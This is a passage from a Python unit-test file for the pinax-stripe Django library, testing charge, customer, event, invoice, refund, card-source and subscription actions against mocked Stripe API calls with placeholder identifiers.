customer=self.customer, destination_account="xxx", destination_amount=decimal.Decimal("45") ) self.assertTrue(CreateMock.called) _, kwargs = CreateMock.call_args self.assertEqual(kwargs["destination"]["account"], "xxx") self.assertEqual(kwargs["destination"]["amount"], 4500) self.assertTrue(SyncMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_on_behalf_of(self, CreateMock, SyncMock, SendReceiptMock): charges.create( amount=decimal.Decimal("10"), customer=self.customer, on_behalf_of="account", ) self.assertTrue(CreateMock.called) _, kwargs = CreateMock.call_args self.assertEqual(kwargs["on_behalf_of"], "account") self.assertTrue(SyncMock.called) self.assertTrue(SendReceiptMock.called) @patch("pinax.stripe.hooks.hookset.send_receipt") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.create") def test_create_with_destination_and_on_behalf_of(self, CreateMock, SyncMock, SendReceiptMock): with self.assertRaises(ValueError): charges.create( amount=decimal.Decimal("10"), customer=self.customer, destination_account="xxx", on_behalf_of="account", ) @patch("stripe.Charge.create") def test_create_not_decimal_raises_exception(self, CreateMock): with self.assertRaises(ValueError): charges.create( amount=decimal.Decimal("100"), customer=self.customer, application_fee=10 ) @patch("stripe.Charge.create") def test_create_app_fee_no_dest_raises_exception(self, CreateMock): with self.assertRaises(ValueError): charges.create( amount=decimal.Decimal("100"), customer=self.customer, application_fee=decimal.Decimal("10") ) @patch("stripe.Charge.create") def test_create_app_fee_dest_acct_and_dest_amt_raises_exception(self, CreateMock): with self.assertRaises(ValueError): charges.create( amount=decimal.Decimal("100"), customer=self.customer, application_fee=decimal.Decimal("10"), destination_account="xxx", destination_amount=decimal.Decimal("15") ) @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.capture") def test_capture(self, CaptureMock, SyncMock): charges.capture(Charge(stripe_id="ch_A", amount=decimal.Decimal("100"), currency="usd")) self.assertTrue(CaptureMock.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.capture") def test_capture_with_amount(self, CaptureMock, SyncMock): charge = Charge(stripe_id="ch_A", amount=decimal.Decimal("100"), currency="usd") charges.capture(charge, amount=decimal.Decimal("50"), idempotency_key="IDEM") self.assertTrue(CaptureMock.called) _, kwargs = CaptureMock.call_args self.assertEquals(kwargs["amount"], 5000) self.assertEquals(kwargs["idempotency_key"], "IDEM") self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Charge.capture") def test_capture_with_connect(self, CaptureMock, SyncMock): account = Account(stripe_id="acc_001") customer = Customer(stripe_id="cus_001", stripe_account=account) charges.capture(Charge(stripe_id="ch_A", amount=decimal.Decimal("100"), currency="usd", customer=customer)) self.assertTrue(CaptureMock.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.charges.sync_charge") def test_update_availability(self, SyncMock): Charge.objects.create(customer=self.customer, amount=decimal.Decimal("100"), currency="usd", paid=True, captured=True, available=False, refunded=False) charges.update_charge_availability() self.assertTrue(SyncMock.called) class CouponsTests(TestCase): def test_purge_local(self): Coupon.objects.create(stripe_id="100OFF", percent_off=decimal.Decimal(100.00)) self.assertTrue(Coupon.objects.filter(stripe_id="100OFF").exists()) coupons.purge_local({"id": "100OFF"}) self.assertFalse(Coupon.objects.filter(stripe_id="100OFF").exists()) def test_purge_local_with_account(self): account = Account.objects.create(stripe_id="acc_XXX") Coupon.objects.create(stripe_id="100OFF", percent_off=decimal.Decimal(100.00), stripe_account=account) self.assertTrue(Coupon.objects.filter(stripe_id="100OFF").exists()) coupons.purge_local({"id": "100OFF"}) self.assertTrue(Coupon.objects.filter(stripe_id="100OFF").exists()) coupons.purge_local({"id": "100OFF"}, stripe_account=account) self.assertFalse(Coupon.objects.filter(stripe_id="100OFF").exists()) class CustomersTests(TestCase): def setUp(self): self.User = get_user_model() self.user = self.User.objects.create_user( username="patrick", email="paltman@example.com" ) self.plan = Plan.objects.create( stripe_id="p1", amount=10, currency="usd", interval="monthly", interval_count=1, name="Pro" ) def test_get_customer_for_user(self): expected = Customer.objects.create(stripe_id="x", user=self.user) actual = customers.get_customer_for_user(self.user) self.assertEquals(expected, actual) def test_get_customer_for_user_not_exists(self): actual = customers.get_customer_for_user(self.user) self.assertIsNone(actual) @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.retrieve") def test_set_default_source(self, RetrieveMock, SyncMock): customers.set_default_source(Customer(), "the source") self.assertEquals(RetrieveMock().default_source, "the source") self.assertTrue(RetrieveMock().save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.create") def test_customer_create_user_only(self, CreateMock, SyncMock): CreateMock.return_value = dict(id="cus_XXXXX") customer = customers.create(self.user) self.assertEqual(customer.user, self.user) self.assertEqual(customer.stripe_id, "cus_XXXXX") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertIsNone(kwargs["source"]) self.assertIsNone(kwargs["plan"]) self.assertIsNone(kwargs["trial_end"]) self.assertTrue(SyncMock.called) @patch("stripe.Customer.retrieve") @patch("stripe.Customer.create") def test_customer_create_user_duplicate(self, CreateMock, RetrieveMock): # Create an existing database customer for this user original = Customer.objects.create(user=self.user, stripe_id="cus_XXXXX") new_customer = Mock() RetrieveMock.return_value = new_customer customer = customers.create(self.user) # But only one customer will exist - the original one self.assertEqual(Customer.objects.count(), 1) self.assertEqual(customer.stripe_id, original.stripe_id) # Check that the customer hasn't been modified self.assertEqual(customer.user, self.user) self.assertEqual(customer.stripe_id, "cus_XXXXX") CreateMock.assert_not_called() @patch("stripe.Customer.retrieve") @patch("stripe.Customer.create") def test_customer_create_local_customer_but_no_remote(self, CreateMock, RetrieveMock): # Create an existing database customer for this user Customer.objects.create(user=self.user, stripe_id="cus_XXXXX") RetrieveMock.side_effect = stripe.error.InvalidRequestError( message="invalid", param=None) # customers.Create will return a new customer instance CreateMock.return_value = { "id": "cus_YYYYY", "account_balance": 0, "currency": "us", "delinquent": False, "default_source": "", "sources": {"data": []}, "subscriptions": {"data": []}, } customer = customers.create(self.user) # But a customer *was* retrieved, but not found RetrieveMock.assert_called_once_with("cus_XXXXX") # But only one customer will exist - the original one self.assertEqual(Customer.objects.count(), 1) self.assertEqual(customer.stripe_id, "cus_YYYYY") # Check that the customer hasn't been modified self.assertEqual(customer.user, self.user) self.assertEqual(customer.stripe_id, "cus_YYYYY") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertIsNone(kwargs["source"]) self.assertIsNone(kwargs["plan"]) self.assertIsNone(kwargs["trial_end"]) @patch("pinax.stripe.actions.invoices.create_and_pay") @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.create") def test_customer_create_user_with_plan(self, CreateMock, SyncMock, CreateAndPayMock): Plan.objects.create( stripe_id="pro-monthly", name="Pro ($19.99/month)", amount=19.99, interval="monthly", interval_count=1, currency="usd" ) CreateMock.return_value = dict(id="cus_YYYYYYYYYYYYY") customer = customers.create(self.user, card="token232323", plan=self.plan) self.assertEqual(customer.user, self.user) self.assertEqual(customer.stripe_id, "cus_YYYYYYYYYYYYY") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertEqual(kwargs["source"], "token232323") self.assertEqual(kwargs["plan"], self.plan) self.assertIsNotNone(kwargs["trial_end"]) self.assertTrue(SyncMock.called) self.assertTrue(CreateAndPayMock.called) @patch("pinax.stripe.actions.invoices.create_and_pay") @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.create") def test_customer_create_user_with_plan_and_quantity(self, CreateMock, SyncMock, CreateAndPayMock): Plan.objects.create( stripe_id="pro-monthly", name="Pro ($19.99/month each)", amount=19.99, interval="monthly", interval_count=1, currency="usd" ) CreateMock.return_value = dict(id="cus_YYYYYYYYYYYYY") customer = customers.create(self.user, card="token232323", plan=self.plan, quantity=42) self.assertEqual(customer.user, self.user) self.assertEqual(customer.stripe_id, "cus_YYYYYYYYYYYYY") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertEqual(kwargs["source"], "token232323") self.assertEqual(kwargs["plan"], self.plan) self.assertEqual(kwargs["quantity"], 42) self.assertIsNotNone(kwargs["trial_end"]) self.assertTrue(SyncMock.called) self.assertTrue(CreateAndPayMock.called) @patch("stripe.Customer.retrieve") def test_purge(self, RetrieveMock): customer = Customer.objects.create( user=self.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) customers.purge(customer) self.assertTrue(RetrieveMock().delete.called) self.assertIsNone(Customer.objects.get(stripe_id=customer.stripe_id).user) self.assertIsNotNone(Customer.objects.get(stripe_id=customer.stripe_id).date_purged) @patch("stripe.Customer.retrieve") def test_purge_connected(self, RetrieveMock): account = Account.objects.create(stripe_id="acc_XXX") customer = Customer.objects.create( user=self.user, stripe_account=account, stripe_id="cus_xxxxxxxxxxxxxxx", ) UserAccount.objects.create(user=self.user, account=account, customer=customer) customers.purge(customer) self.assertTrue(RetrieveMock().delete.called) self.assertIsNone(Customer.objects.get(stripe_id=customer.stripe_id).user) self.assertIsNotNone(Customer.objects.get(stripe_id=customer.stripe_id).date_purged) self.assertFalse(UserAccount.objects.exists()) self.assertTrue(self.User.objects.exists()) @patch("stripe.Customer.retrieve") def test_purge_already_deleted(self, RetrieveMock): RetrieveMock().delete.side_effect = stripe.error.InvalidRequestError("No such customer:", "error") customer = Customer.objects.create( user=self.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) customers.purge(customer) self.assertTrue(RetrieveMock().delete.called) self.assertIsNone(Customer.objects.get(stripe_id=customer.stripe_id).user) self.assertIsNotNone(Customer.objects.get(stripe_id=customer.stripe_id).date_purged) @patch("stripe.Customer.retrieve") def test_purge_already_some_other_error(self, RetrieveMock): RetrieveMock().delete.side_effect = stripe.error.InvalidRequestError("Bad", "error") customer = Customer.objects.create( user=self.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) with self.assertRaises(stripe.error.InvalidRequestError): customers.purge(customer) self.assertTrue(RetrieveMock().delete.called) self.assertIsNotNone(Customer.objects.get(stripe_id=customer.stripe_id).user) self.assertIsNone(Customer.objects.get(stripe_id=customer.stripe_id).date_purged) def test_can_charge(self): customer = Customer(default_source="card_001") self.assertTrue(customers.can_charge(customer)) def test_can_charge_false_purged(self): customer = Customer(default_source="card_001", date_purged=timezone.now()) self.assertFalse(customers.can_charge(customer)) def test_can_charge_false_no_default_source(self): customer = Customer() self.assertFalse(customers.can_charge(customer)) @patch("pinax.stripe.actions.customers.sync_customer") def test_link_customer(self, SyncMock): Customer.objects.create(stripe_id="cu_123") message = dict(data=dict(object=dict(id="cu_123"))) event = Event.objects.create(validated_message=message, kind="customer.created") customers.link_customer(event) self.assertEquals(event.customer.stripe_id, "cu_123") self.assertTrue(SyncMock.called) def test_link_customer_non_customer_event(self): Customer.objects.create(stripe_id="cu_123") message = dict(data=dict(object=dict(customer="cu_123"))) event = Event.objects.create(validated_message=message, kind="invoice.created") customers.link_customer(event) self.assertEquals(event.customer.stripe_id, "cu_123") def test_link_customer_non_customer_event_no_customer(self): Customer.objects.create(stripe_id="cu_123") message = dict(data=dict(object=dict())) event = Event.objects.create(validated_message=message, kind="transfer.created") customers.link_customer(event) self.assertIsNone(event.customer, "cu_123") @patch("pinax.stripe.actions.customers.sync_customer") def test_link_customer_does_not_exist(self, SyncMock): message = dict(data=dict(object=dict(id="cu_123"))) event = Event.objects.create(stripe_id="evt_1", validated_message=message, kind="customer.created") customers.link_customer(event) Customer.objects.get(stripe_id="cu_123") self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.customers.sync_customer") def test_link_customer_does_not_exist_connected(self, SyncMock): message = dict(data=dict(object=dict(id="cu_123"))) account = Account.objects.create(stripe_id="acc_XXX") event = Event.objects.create(stripe_id="evt_1", validated_message=message, kind="customer.created", stripe_account=account) customers.link_customer(event) Customer.objects.get(stripe_id="cu_123", stripe_account=account) self.assertTrue(SyncMock.called) class CustomersWithConnectTests(TestCase): def setUp(self): self.User = get_user_model() self.user = self.User.objects.create_user( username="patrick", email="paltman@example.com" ) self.plan = Plan.objects.create( stripe_id="p1", amount=10, currency="usd", interval="monthly", interval_count=1, name="Pro" ) self.account = Account.objects.create( stripe_id="acc_XXX" ) def test_get_customer_for_user_with_stripe_account(self): expected = Customer.objects.create( stripe_id="x", stripe_account=self.account) UserAccount.objects.create(user=self.user, account=self.account, customer=expected) actual = customers.get_customer_for_user( self.user, stripe_account=self.account) self.assertEquals(expected, actual) def test_get_customer_for_user_with_stripe_account_and_legacy_customer(self): Customer.objects.create(user=self.user, stripe_id="x") self.assertIsNone(customers.get_customer_for_user( self.user, stripe_account=self.account)) @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.create") def test_customer_create_with_connect(self, CreateMock, SyncMock): CreateMock.return_value = dict(id="cus_XXXXX") customer = customers.create(self.user, stripe_account=self.account) self.assertIsNone(customer.user) self.assertEqual(customer.stripe_id, "cus_XXXXX") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertEqual(kwargs["stripe_account"], self.account.stripe_id) self.assertIsNone(kwargs["source"]) self.assertIsNone(kwargs["plan"]) self.assertIsNone(kwargs["trial_end"]) self.assertTrue(SyncMock.called) @patch("stripe.Customer.retrieve") @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.create") def test_customer_create_with_connect_and_stale_user_account(self, CreateMock, SyncMock, RetrieveMock): CreateMock.return_value = dict(id="cus_XXXXX") RetrieveMock.side_effect = stripe.error.InvalidRequestError( message="Not Found", param="stripe_id" ) ua = UserAccount.objects.create( user=self.user, account=self.account, customer=Customer.objects.create(stripe_id="cus_Z", stripe_account=self.account)) customer = customers.create(self.user, stripe_account=self.account) self.assertIsNone(customer.user) self.assertEqual(customer.stripe_id, "cus_XXXXX") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertEqual(kwargs["stripe_account"], self.account.stripe_id) self.assertIsNone(kwargs["source"]) self.assertIsNone(kwargs["plan"]) self.assertIsNone(kwargs["trial_end"]) self.assertTrue(SyncMock.called) self.assertEqual(self.user.user_accounts.get(), ua) self.assertEqual(ua.customer, customer) RetrieveMock.assert_called_once_with("cus_Z", stripe_account=self.account.stripe_id) @patch("stripe.Customer.retrieve") def test_customer_create_with_connect_with_existing_customer(self, RetrieveMock): expected = Customer.objects.create( stripe_id="x", stripe_account=self.account) UserAccount.objects.create(user=self.user, account=self.account, customer=expected) customer = customers.create(self.user, stripe_account=self.account) self.assertEquals(customer, expected) RetrieveMock.assert_called_once_with("x", stripe_account=self.account.stripe_id) @patch("pinax.stripe.actions.invoices.create_and_pay") @patch("pinax.stripe.actions.customers.sync_customer") @patch("stripe.Customer.create") def test_customer_create_user_with_plan(self, CreateMock, SyncMock, CreateAndPayMock): Plan.objects.create( stripe_id="pro-monthly", name="Pro ($19.99/month)", amount=19.99, interval="monthly", interval_count=1, currency="usd" ) CreateMock.return_value = dict(id="cus_YYYYYYYYYYYYY") customer = customers.create(self.user, card="token232323", plan=self.plan, stripe_account=self.account) self.assertEqual(customer.stripe_id, "cus_YYYYYYYYYYYYY") _, kwargs = CreateMock.call_args self.assertEqual(kwargs["email"], self.user.email) self.assertEqual(kwargs["source"], "token232323") self.assertEqual(kwargs["plan"], self.plan) self.assertIsNotNone(kwargs["trial_end"]) self.assertTrue(SyncMock.called) self.assertTrue(CreateAndPayMock.called) class EventsTests(TestCase): @classmethod def setUpClass(cls): super(EventsTests, cls).setUpClass() cls.account = Account.objects.create(stripe_id="acc_001") def test_dupe_event_exists(self): Event.objects.create(stripe_id="evt_003", kind="foo", livemode=True, webhook_message="{}", api_version="", request="", pending_webhooks=0) self.assertTrue(events.dupe_event_exists("evt_003")) @patch("pinax.stripe.webhooks.AccountUpdatedWebhook.process") def test_add_event(self, ProcessMock): events.add_event(stripe_id="evt_001", kind="account.updated", livemode=True, message={}) event = Event.objects.get(stripe_id="evt_001") self.assertEquals(event.kind, "account.updated") self.assertTrue(ProcessMock.called) @patch("pinax.stripe.webhooks.AccountUpdatedWebhook.process") def test_add_event_connect(self, ProcessMock): events.add_event(stripe_id="evt_001", kind="account.updated", livemode=True, message={"account": self.account.stripe_id}) event = Event.objects.get(stripe_id="evt_001", stripe_account=self.account) self.assertEquals(event.kind, "account.updated") self.assertTrue(ProcessMock.called) @patch("pinax.stripe.webhooks.AccountUpdatedWebhook.process") def test_add_event_missing_account_connect(self, ProcessMock): events.add_event(stripe_id="evt_001", kind="account.updated", livemode=True, message={"account": "acc_NEW"}) event = Event.objects.get(stripe_id="evt_001", stripe_account=Account.objects.get(stripe_id="acc_NEW")) self.assertEquals(event.kind, "account.updated") self.assertTrue(ProcessMock.called) def test_add_event_new_webhook_kind(self): events.add_event(stripe_id="evt_002", kind="patrick.got.coffee", livemode=True, message={}) event = Event.objects.get(stripe_id="evt_002") self.assertEquals(event.processed, False) self.assertIsNone(event.validated_message) class InvoicesTests(TestCase): @patch("stripe.Invoice.create") def test_create(self, CreateMock): invoices.create(Mock()) self.assertTrue(CreateMock.called) @patch("pinax.stripe.actions.invoices.sync_invoice_from_stripe_data") def test_pay(self, SyncMock): invoice = Mock() invoice.paid = False invoice.closed = False self.assertTrue(invoices.pay(invoice)) self.assertTrue(invoice.stripe_invoice.pay.called) self.assertTrue(SyncMock.called) def test_pay_invoice_paid(self): invoice = Mock() invoice.paid = True invoice.closed = False self.assertFalse(invoices.pay(invoice)) self.assertFalse(invoice.stripe_invoice.pay.called) def test_pay_invoice_closed(self): invoice = Mock() invoice.paid = False invoice.closed = True self.assertFalse(invoices.pay(invoice)) self.assertFalse(invoice.stripe_invoice.pay.called) @patch("stripe.Invoice.create") def test_create_and_pay(self, CreateMock): invoice = CreateMock() invoice.amount_due = 100 self.assertTrue(invoices.create_and_pay(Mock())) self.assertTrue(invoice.pay.called) @patch("stripe.Invoice.create") def test_create_and_pay_amount_due_0(self, CreateMock): invoice = CreateMock() invoice.amount_due = 0 self.assertTrue(invoices.create_and_pay(Mock())) self.assertFalse(invoice.pay.called) @patch("stripe.Invoice.create") def test_create_and_pay_invalid_request_error(self, CreateMock): invoice = CreateMock() invoice.amount_due = 100 invoice.pay.side_effect = stripe.error.InvalidRequestError("Bad", "error") self.assertFalse(invoices.create_and_pay(Mock())) self.assertTrue(invoice.pay.called) @patch("stripe.Invoice.create") def test_create_and_pay_invalid_request_error_on_create(self, CreateMock): CreateMock.side_effect = stripe.error.InvalidRequestError("Bad", "error") self.assertFalse(invoices.create_and_pay(Mock())) class RefundsTests(TestCase): @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Refund.create") def test_create_amount_none(self, RefundMock, SyncMock): refunds.create(Mock()) self.assertTrue(RefundMock.called) _, kwargs = RefundMock.call_args self.assertFalse("amount" in kwargs) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.charges.calculate_refund_amount") @patch("pinax.stripe.actions.charges.sync_charge_from_stripe_data") @patch("stripe.Refund.create") def test_create_with_amount(self, RefundMock, SyncMock, CalcMock): ChargeMock = Mock() CalcMock.return_value = decimal.Decimal("10") refunds.create(ChargeMock, amount=decimal.Decimal("10")) self.assertTrue(RefundMock.called) _, kwargs = RefundMock.call_args self.assertTrue("amount" in kwargs) self.assertEquals(kwargs["amount"], 1000) self.assertTrue(SyncMock.called) class SourcesTests(TestCase): @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") def test_create_card(self, SyncMock): CustomerMock = Mock() result = sources.create_card(CustomerMock, token="token") self.assertTrue(result is not None) self.assertTrue(CustomerMock.stripe_customer.sources.create.called) _, kwargs = CustomerMock.stripe_customer.sources.create.call_args self.assertEquals(kwargs["source"], "token") self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") def test_update_card(self, SyncMock): CustomerMock = Mock() SourceMock = CustomerMock.stripe_customer.sources.retrieve() result = sources.update_card(CustomerMock, "") self.assertTrue(result is not None) self.assertTrue(CustomerMock.stripe_customer.sources.retrieve.called) self.assertTrue(SourceMock.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") def test_update_card_name_not_none(self, SyncMock): CustomerMock = Mock() SourceMock = CustomerMock.stripe_customer.sources.retrieve() sources.update_card(CustomerMock, "", name="My Visa") self.assertTrue(CustomerMock.stripe_customer.sources.retrieve.called) self.assertTrue(SourceMock.save.called) self.assertEquals(SourceMock.name, "My Visa") self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") def test_update_card_exp_month_not_none(self, SyncMock): CustomerMock = Mock() SourceMock = CustomerMock.stripe_customer.sources.retrieve() sources.update_card(CustomerMock, "", exp_month="My Visa") self.assertTrue(CustomerMock.stripe_customer.sources.retrieve.called) self.assertTrue(SourceMock.save.called) self.assertEquals(SourceMock.exp_month, "My Visa") self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.sources.sync_payment_source_from_stripe_data") def test_update_card_exp_year_not_none(self, SyncMock): CustomerMock = Mock() SourceMock = CustomerMock.stripe_customer.sources.retrieve() sources.update_card(CustomerMock, "", exp_year="My Visa") self.assertTrue(CustomerMock.stripe_customer.sources.retrieve.called) self.assertTrue(SourceMock.save.called) self.assertEquals(SourceMock.exp_year, "My Visa") self.assertTrue(SyncMock.called) @skipIf(django.VERSION < (1, 9), "Only for django 1.9+") def test_delete_card_dj19(self): CustomerMock = Mock() result = sources.delete_card(CustomerMock, source="card_token") self.assertEqual(result, (0, {"pinax_stripe.Card": 0})) self.assertTrue(CustomerMock.stripe_customer.sources.retrieve().delete.called) @skipIf(django.VERSION >= (1, 9), "Only for django before 1.9") def test_delete_card(self): CustomerMock = Mock() result = sources.delete_card(CustomerMock, source="card_token") self.assertTrue(result is None) self.assertTrue(CustomerMock.stripe_customer.sources.retrieve().delete.called) def test_delete_card_object(self): User = get_user_model() user = User.objects.create_user( username="patrick", email="paltman@example.com" ) customer = Customer.objects.create( user=user, stripe_id="cus_xxxxxxxxxxxxxxx" ) card = Card.objects.create( customer=customer, stripe_id="card_stripe", address_line_1_check="check", address_zip_check="check", country="us", cvc_check="check", exp_month=1, exp_year=2000, funding="funding", fingerprint="fingerprint" ) pk = card.pk sources.delete_card_object("card_stripe") self.assertFalse(Card.objects.filter(pk=pk).exists()) def test_delete_card_object_not_card(self): User = get_user_model() user = User.objects.create_user( username="patrick", email="paltman@example.com" ) customer = Customer.objects.create( user=user, stripe_id="cus_xxxxxxxxxxxxxxx" ) card = Card.objects.create( customer=customer, stripe_id="bitcoin_stripe", address_line_1_check="check", address_zip_check="check", country="us", cvc_check="check", exp_month=1, exp_year=2000, funding="funding", fingerprint="fingerprint" ) pk = card.pk sources.delete_card_object("bitcoin_stripe") self.assertTrue(Card.objects.filter(pk=pk).exists()) class SubscriptionsTests(TestCase): @classmethod def setUpClass(cls): super(SubscriptionsTests, cls).setUpClass() cls.User = get_user_model() cls.user = cls.User.objects.create_user( username="patrick", email="paltman@example.com" ) cls.customer = Customer.objects.create( user=cls.user, stripe_id="cus_xxxxxxxxxxxxxxx" ) cls.plan = Plan.objects.create( stripe_id="the-plan", amount=2, interval_count=1, ) cls.account = Account.objects.create(stripe_id="acct_xx") cls.connected_customer = Customer.objects.create( stripe_id="cus_yyyyyyyyyyyyyyy", stripe_account=cls.account, ) UserAccount.objects.create(user=cls.user, customer=cls.connected_customer, account=cls.account) def test_has_active_subscription(self): plan = Plan.objects.create( amount=10, currency="usd", interval="monthly", interval_count=1, name="Pro" ) Subscription.objects.create( customer=self.customer, plan=plan, quantity=1, start=timezone.now(), status="active", cancel_at_period_end=False ) self.assertTrue(subscriptions.has_active_subscription(self.customer)) def test_has_active_subscription_False_no_subscription(self): self.assertFalse(subscriptions.has_active_subscription(self.customer)) def test_has_active_subscription_False_expired(self): plan = Plan.objects.create( amount=10, currency="usd", interval="monthly", interval_count=1, name="Pro" ) Subscription.objects.create( customer=self.customer, plan=plan, quantity=1, start=timezone.now(), status="active", cancel_at_period_end=False, ended_at=timezone.now() - datetime.timedelta(days=3) ) self.assertFalse(subscriptions.has_active_subscription(self.customer)) def test_has_active_subscription_ended_but_not_expired(self): plan = Plan.objects.create( amount=10, currency="usd", interval="monthly", interval_count=1, name="Pro" ) Subscription.objects.create( customer=self.customer, plan=plan, quantity=1, start=timezone.now(), status="active", cancel_at_period_end=False, ended_at=timezone.now() + datetime.timedelta(days=3) ) self.assertTrue(subscriptions.has_active_subscription(self.customer)) @patch("stripe.Subscription") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_cancel_subscription(self, SyncMock, StripeSubMock): subscription = Subscription(stripe_id="sub_X", customer=self.customer) obj = object() SyncMock.return_value = obj sub = subscriptions.cancel(subscription) self.assertIs(sub, obj) self.assertTrue(SyncMock.called) _, kwargs = StripeSubMock.call_args self.assertEquals(kwargs["stripe_account"], None) @patch("stripe.Subscription") @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_cancel_subscription_with_account(self, SyncMock, StripeSubMock): subscription = Subscription(stripe_id="sub_X", customer=self.connected_customer) subscriptions.cancel(subscription) _, kwargs = StripeSubMock.call_args self.assertEquals(kwargs["stripe_account"], self.account.stripe_id) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update(self, SyncMock): SubMock = Mock() SubMock.customer = self.customer obj = object() SyncMock.return_value = obj sub = subscriptions.update(SubMock) self.assertIs(sub, obj) self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update_plan(self, SyncMock): SubMock = Mock() SubMock.customer = self.customer subscriptions.update(SubMock, plan="test_value") self.assertEquals(SubMock.stripe_subscription.plan, "test_value") self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update_plan_quantity(self, SyncMock): SubMock = Mock() SubMock.customer = self.customer subscriptions.update(SubMock, quantity="test_value") self.assertEquals(SubMock.stripe_subscription.quantity, "test_value") self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update_plan_prorate(self, SyncMock): SubMock = Mock() SubMock.customer = self.customer subscriptions.update(SubMock, prorate=False) self.assertEquals(SubMock.stripe_subscription.prorate, False) self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update_plan_coupon(self, SyncMock): SubMock = Mock() SubMock.customer = self.customer subscriptions.update(SubMock, coupon="test_value") self.assertEquals(SubMock.stripe_subscription.coupon, "test_value") self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update_plan_charge_now(self, SyncMock): SubMock = Mock() SubMock.customer = self.customer SubMock.stripe_subscription.trial_end = time.time() + 1000000.0 subscriptions.update(SubMock, charge_immediately=True) self.assertEquals(SubMock.stripe_subscription.trial_end, "now") self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") def test_update_plan_charge_now_old_trial(self, SyncMock): trial_end = time.time() - 1000000.0 SubMock = Mock() SubMock.customer = self.customer SubMock.stripe_subscription.trial_end = trial_end subscriptions.update(SubMock, charge_immediately=True) # Trial end date hasn't changed self.assertEquals(SubMock.stripe_subscription.trial_end, trial_end) self.assertTrue(SubMock.stripe_subscription.save.called) self.assertTrue(SyncMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("stripe.Subscription.create") def test_subscription_create(self, SubscriptionCreateMock, SyncMock): subscriptions.create(self.customer, "the-plan") self.assertTrue(SyncMock.called) self.assertTrue(SubscriptionCreateMock.called) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("stripe.Subscription.create") def test_subscription_create_with_trial(self, SubscriptionCreateMock, SyncMock): subscriptions.create(self.customer, "the-plan", trial_days=3) self.assertTrue(SubscriptionCreateMock.called) _, kwargs = SubscriptionCreateMock.call_args self.assertEquals(kwargs["trial_end"].date(), (datetime.datetime.utcnow() + datetime.timedelta(days=3)).date()) @patch("pinax.stripe.actions.subscriptions.sync_subscription_from_stripe_data") @patch("stripe.Subscription.create") def test_subscription_create_token(self, SubscriptionCreateMock, CustomerMock): subscriptions.create(self.customer, "the-plan", token="token") self.assertTrue(SubscriptionCreateMock.called) _, kwargs = SubscriptionCreateMock.call_args self.assertEquals(kwargs["source"], "token") @patch("stripe.Subscription.create") def test_subscription_create_with_connect(self, SubscriptionCreateMock): SubscriptionCreateMock.return_value = { "object": "subscription", "id": "sub_XX", "application_fee_percent": None, "cancel_at_period_end": False, "canceled_at": None, "current_period_start": 1509978774, "current_period_end": 1512570774, "ended_at": None, "quantity": 1, "start": 1509978774, "status": "active", "trial_start": None, "trial_end": None, "plan": { "id": self.plan.stripe_id, }} subscriptions.create(self.connected_customer, self.plan.stripe_id) SubscriptionCreateMock.assert_called_once_with( coupon=None, customer=self.connected_customer.stripe_id, plan="the-plan", quantity=4, stripe_account="acct_xx", tax_percent=None) subscription = Subscription.objects.get() self.assertEqual(subscription.customer, self.connected_customer) 